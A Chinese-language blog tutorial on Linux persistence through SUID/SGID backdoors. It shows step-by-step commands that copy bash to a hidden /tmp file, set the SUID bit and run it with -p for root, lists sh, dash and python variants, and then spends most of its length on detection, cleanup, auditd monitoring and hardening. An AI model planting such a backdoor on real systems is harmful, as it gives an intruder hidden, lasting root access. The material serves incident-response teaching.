Linux权限维持(二):文件权限后门—SUID/SGID提权后门与排查

文章定位:面向安全运维人员与应急响应人员,侧重于“原理+操作+检测”三位一体。

复现环境:Red Hat Enterprise Linux 8


1. 引言

核心思想:SUID/SGID 是 Linux 系统中一种特殊的文件权限,允许普通用户以文件所有者的权限执行程序。攻击者可以利用这一特性,将一个 Shell 程序设置为 SUID root,从而让普通用户也能获得 root 权限。

本篇内容

  • SUID/SGID 原理详解

  • SUID Shell 后门植入与触发

  • 检测方法与清除手段


2.后门技术详解

2.1 SUID/SGID 原理

什么是 SUID?

SUID(Set User ID)是一种特殊权限位。当一个可执行文件设置了 SUID 位,任何用户运行该程序时,程序会以文件所有者的身份运行,而不是以运行者的身份。

 
 
权限类型 符号表示 数值 效果
普通文件 -rwxr-xr-x 755 以运行者的身份执行
SUID 文件 -rwsr-xr-x 4755 文件所有者的身份执行
SGID 文件 -rwxr-sr-x 2755 文件所属组的身份执行

示例/bin/passwd 就是一个典型的 SUID 程序。

ad1a1b718320260529164624

ls -l /bin/passwd 

# 输出:-rwsr-xr-x. 1 root root 34560 日期 /bin/passwd
#                ↑ s 表示设置了 SUID

普通用户运行 passwd 命令时,需要修改 /etc/shadow 文件(只有 root 可写)。正是因为设置了 SUID,passwd 可以临时获得 root 权限来修改密码。

后门原理

攻击者将一个 Shell(如 /bin/bash)复制到某个隐蔽目录,然后给它加上 SUID 权限。普通用户运行这个 Shell 时,就能获得 root 权限。

如果不懂,那就想象一下:

你是一个普通员工(普通用户),公司大门(服务器)只有老板(root)能随意进出。

你想进去偷东西(提权),于是你想了个办法:

你配了一把老板的钥匙(SUID bash),这样你开门的时候,门禁系统会以为你是老板。

但是!这把钥匙有个问题:你插进去的时候,必须大喊一声“我是老板!”(-p参数),否则钥匙不会生效。

如果你不喊,门还是打不开,你只是个拿着钥匙的普通员工。


2.2 对应到代码,SUID Shell 后门操作(攻击者视角)

第一步:配一把“老板的钥匙”

cp /bin/bash /tmp/.system_update
  • /bin/bash = 正常的命令解释器(相当于一把空白钥匙坯)

  • /tmp/.system_update = 伪装成系统更新文件的隐蔽位置(相当于你偷偷配的钥匙)

人话:你把 bash 复制到一个隐蔽的地方,准备把它改造成“老板钥匙”。


第二步:给钥匙刻上“老板权限”

chmod u+s /tmp/.system_update
  • u+s = 添加 SUID 权限

人话:你给这把钥匙刻上“老板”的身份标识。现在它是一把“老板钥匙”了,但还不能直接用。


第三步:验证钥匙确实刻好了

ls -l /tmp/.system_update

输出:

-rwsr-xr-x. 1 root root 约1M 日期 /tmp/.system_update

rws 中的 s = SUID 已生效

人话:钥匙上确实刻着“老板”两个字(s 标志),证明它是一把真正的“老板钥匙”。


第四步:用钥匙开门

❌ 不喊“我是老板” → 钥匙没用

/tmp/.system_update 
whoami # 还是 guest

人话:你拿着老板钥匙去开门,但不喊“我是老板”,门禁系统不认,你还是普通员工。


✅ 喊“我是老板” → 钥匙生效

/tmp/.system_update -p
whoami   # 变成 root

人话:你拿着老板钥匙,大喊一声“我是老板!”(-p 参数),门禁系统验证通过,你变成了老板!

触发后门(普通用户执行)

# 普通用户(如 guest)执行
 /tmp/.system_update -p

注意:新版 bash 增加了安全保护,直接运行 SUID bash 会丢弃 root 权限,必须加上 -p 参数(-p 表示保留原始权限)。

提权验证

# 切换到一个普通用户 
su - guest
# 执行后门
 /tmp/.system_update -p 
# 检查当前身份 
whoami 
# 输出:root 
id 
# 输出:uid=0(root) gid=1002(guest) 组=1002(guest)

结果:普通用户成功获得了 root 权限。


2.3 其他 SUID 后门变种

文件 命令 说明
/bin/sh cp /bin/sh /tmp/.sh && chmod u+s /tmp/.sh 老系统常用
/bin/dash cp /bin/dash /tmp/.dash && chmod u+s /tmp/.dash Debian/Ubuntu 默认
/usr/bin/python 设置 SUID 后,Python 可直接提权 更隐蔽

2.4 为什么要有 -p 这个设计?

因为 bash 的作者不想让 SUID bash 成为后门。

他们专门加了这个“安全锁”:即使你给 bash 加了 SUID,默认还是会拒绝提权。你必须主动用 -p 说“我就是要提权”,才给你权限。

目的

  • 让管理员用 SUID bash 做自动化脚本时不会意外提权

  • 让攻击者必须多一步操作


3. 综合排查与应急响应

3.1 查找 SUID/SGID 文件

bash
# 查找所有 SUID 文件
find / -perm /4000 -type f 2>/dev/null

# 查找所有 SGID 文件
find / -perm /2000 -type f 2>/dev/null

# 查找 SUID 或 SGID 文件(一条命令)
find / -perm /6000 -type f 2>/dev/null

# 查找最近 7 天内新增的 SUID 文件
find / -perm /4000 -type f -mtime -7 2>/dev/null

# 查找临时目录中的 SUID 文件
find /tmp /var/tmp /dev/shm -perm /4000 -type f 2>/dev/null

# 查找用户家目录中的 SUID 文件
find /home -perm /4000 -type f 2>/dev/null

3.2 分析可疑的 SUID 文件

# 检查文件的修改时间(对比系统安装时间) 
stat /tmp/.system_update


 # 查看文件内容(如果是脚本) 
cat /tmp/.system_update 


# 用 strings 提取字符串,判断是否可疑
strings /tmp/.system_update | grep -E "bash|sh|root|uid"

3.3 常见可疑路径

 
 
路径 说明
/tmp/ 临时目录,不应有 SUID 文件
/dev/shm/ 内存文件系统,不应有 SUID 文件
/var/tmp/ 另一个临时目录
/home/*/ 用户家目录不应有 SUID 文件
/var/www/ Web 目录不应有 SUID 文件

3.4 清除 SUID 后门

# 移除 SUID 权限 
chmod u-s /tmp/.system_update 


# 删除文件
rm -f /tmp/.system_update

3.4 文件完整性验证(RHEL 8)

使用 RPM 验证系统文件完整性: 

# 验证所有 RPM 包安装的文件 
rpm -Va 

# 重点关注 SUID 相关的变更 
rpm -Va | grep -E '^..S|^M' 


# 验证特定命令
rpm -V coreutils | grep bash

输出解读

 
 
标志 含义
S 文件大小改变
M 权限改变(包括 SUID)
5 MD5 校验和改变
L 符号链接路径改变

3.5 日志取证

# 查找 SUID 文件的创建/修改记录
ausearch -f /tmp/.system_update 2>/dev/null 



# 查找普通用户执行提权命令的记录
 grep -E "bash -p|sh -p" /var/log/secure

4. 防御与加固建议

4.1 定期扫描

# 每周扫描并记录 SUID 文件变化
find / -perm /4000 -type f 2>/dev/null > /var/log/suid_list_$(date +%Y%m%d).log



 # 对比差异 
diff /var/log/suid_list_20250101.log /var/log/suid_list_20250108.log

4.2 监控配置(auditd)

# 监控 /tmp 目录下新增可执行文件
 auditctl -w /tmp -p wa -k tmp_exec 

# 监控 SUID 权限变更 
auditctl -a always,exit -F perm=x -F suid=1 -k suid_change

4.3 最小化原则

  • 定期清理 /tmp 目录

  • 使用 noexec 挂载 /tmp 分区(限制执行权限)

  • 限制普通用户对 /tmp 的写入权限

  • # /etc/fstab 中添加
    tmpfs /tmp tmpfs defaults,noexec,nosuid 0 0

5. 总结

 
 
后门类型 特征 排查命令 清除方法
SUID Shell 临时目录中的 bash/sh find /tmp -perm /4000 chmod u-s 或删除
SUID Python 可执行 Python 文件 find / -perm /4000 -name "python*" 删除或移权限
SGID 后门 组权限提权 find / -perm /2000 同 SUID

核心原则

  • 正常系统中,/tmp/var/tmp、用户家目录不应出现 SUID 文件

  • 定期执行 find / -perm /4000 检查异常

  • 使用 rpm -Va 验证系统文件完整性


命令一句话总结

 
 
命令 人话
chmod u+s /tmp/shell 你配了老板的钥匙
/tmp/shell 你用钥匙开门,但没喊“我是老板”,门不开
/tmp/shell -p 你用钥匙开门,喊了“我是老板”,门开了,你变成老板

-p = “我是老板!” 声明,告诉 bash:我要提权,给我 root。

© 版权声明
THE END
喜欢就支持一下吧
点赞5 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容